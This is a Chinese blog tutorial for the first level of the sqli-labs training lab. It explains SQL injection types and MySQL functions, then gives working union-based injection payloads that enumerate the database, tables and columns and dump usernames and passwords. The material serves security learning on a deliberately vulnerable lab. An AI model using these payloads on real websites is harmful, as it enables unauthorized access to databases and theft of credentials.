sqli-labs靶场第一关过关教程(保姆级教程:不是新手别进)

SQL注入漏洞概述

1、什么是SQL注入漏洞

SQL注入漏洞是一个web层面的安全漏洞,web应用与数据库存在交互点,攻击者构建恶意SQL语句,欺骗数据库服务器执行非授权的查询。

2、如何判断网页是否存在SQL注入漏洞

1、web页面与数据库是否存在交互点,这个交互点就是注入点
常见注入点:URL和表单中的输入域
2、判断能否写入任意的sql语句到目标数据库并返回结果

3、SQL注入的类型:

按注入点分

字符型
数字型

按注入方式分

时间盲注
布尔盲注
报错注入
联合注入
堆叠注入
宽字节注入

4、常见的注释符

#-- /**/%23--+等等

5、常使用函数

database():查看数据库的名称
version():查看数据库的版本
user():查看数据库的使用者
group_concat():将参数拼接到一行进行输出
limit a,b:依次取值,从a+1的位置取b数量的值进行输出
hex():将参数进行16进制编码
unhex():将参数进行16进制解码

6、常用默认数据库中的表

information_schema.schemeta:存储了数据库当中所有数据库的库名
information_schema.tables:存储了数据库当中所有数据库表名
information_schema.columns:存储了数据库当中所有字段名

7、常用字段

table_schema:数据库名
table_name:数据表名
column_name:字段名

实操

寻找注入点

1、首先观察网页,没有看到任何的表单提交框,但是页面当中有一句提示Please input the ID as parameter with numeric value,推断出注入点可能在url当中的id参数

2、那么根据提示,构造参数访问http://ip:1111/Less-1/?id=1试试看,可以看到网站回显了用户的登录名和密码

3、再次测试http://ip:1111/Less-1/?id=2,可以看到网站回显了另外的用户名和密码,由此判断,web页面和数据库存在交互。

判断注入类型以及是否能写入任意sql语句

1、首先我们使用逻辑词and判断是否为数字型,为了便于理解,我将猜测的数据查询语句写下来

select * from users where id=1 and 1=1
select * from users where id=1 and 1=2

and:
左右两边均为真时,输出为真;
左右两边均为假时,输出为假

如果这是数字型的sql注入,我们可以观察页面一个返回正确,一个返回错误,但是我们可以看到页面实际没有任何变化,说明这并非是一个数字型的sql注入

2、判断是否为字符型的sql注入,若为字符型的sql注入那么我们刚才用and测试的时候,后台查询语句将变为下面这这样

select * from users where id='1 and 1=1'
select * from users where id='1 and 1=2'

两次结果是相同的,在这里我产生了疑问,为什么输入的内容不相同,但是输出的结果相同?
这里我去查询了sqli-labs的数据库发现对id字段的定义是int型,Mysql会将传入的string(要赋值给int字段的)从左到右的第一个非数值开始,将后面的字符串转成0,再和和数值类型相加,'1 and 1=1'——>'1+0'——>1,那么两条语句都等效于select * from users where id=1,所以查询到的结果是一样的,到此我想到一个有趣的查询语句,对此我新建了一个数据库。可以看到id并不是数字但是查询到了数据。

好了言归正传,现在我们接着验证是否为字符型的sql注入,首先人为将id参数闭合,并拼接,最末尾的引号用注释符注解掉

select * from users where id='1' and 1=1 -- -'
select * from users where id='1' and 1=2 -- -'

使用两种不同的方式查询,第一种成功查询到了数据,因为and左右两边皆为真;第二种没有查询到数据,因为左右两边有一边为假;由此判断此注入点为字符型的sql注入。

漏洞利用

1、使用order by+二分法查询数据库有多少个字段。如图所示,第一次猜测5时有报错,第二次猜测3时没有报错,第三次猜测4验证一下结果报错,说明一共有3个字段

2、利用假 union select 1,2,3--+查询这三个字段分别在,web界面什么位置回显;具体为什么能这样使用请参考这位博主的文章:https://blog.csdn.net/weixin_44840696/article/details/89166154

3、查询数据库名称:利用假 union select 1,database(),3--+

4、查询表名
假 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+:从系统默认存储所有表名的表information_schema.tables当中,查询'security'数据库当中的所有表的名字,并使用group_concat()拼接到一行

5、查询字段名
假 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+:从系统默认存储所有字段名的表information_schema.columns当中,查询'users'表当中的所有字段名,并使用group_concat()拼接到一行

6、查询字段值
假 union select 1,group_concat(id,":",username,":",password),3 from users--+

posted @   W_Y_W  阅读(160)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 地球OL攻略 —— 某应届生求职总结
· 周边上新:园子的第一款马克杯温暖上架
· Open-Sora 2.0 重磅开源!
· 提示词工程——AI应用必不可少的技术
· .NET周刊【3月第1期 2025-03-02】
点击右上角即可分享
微信分享提示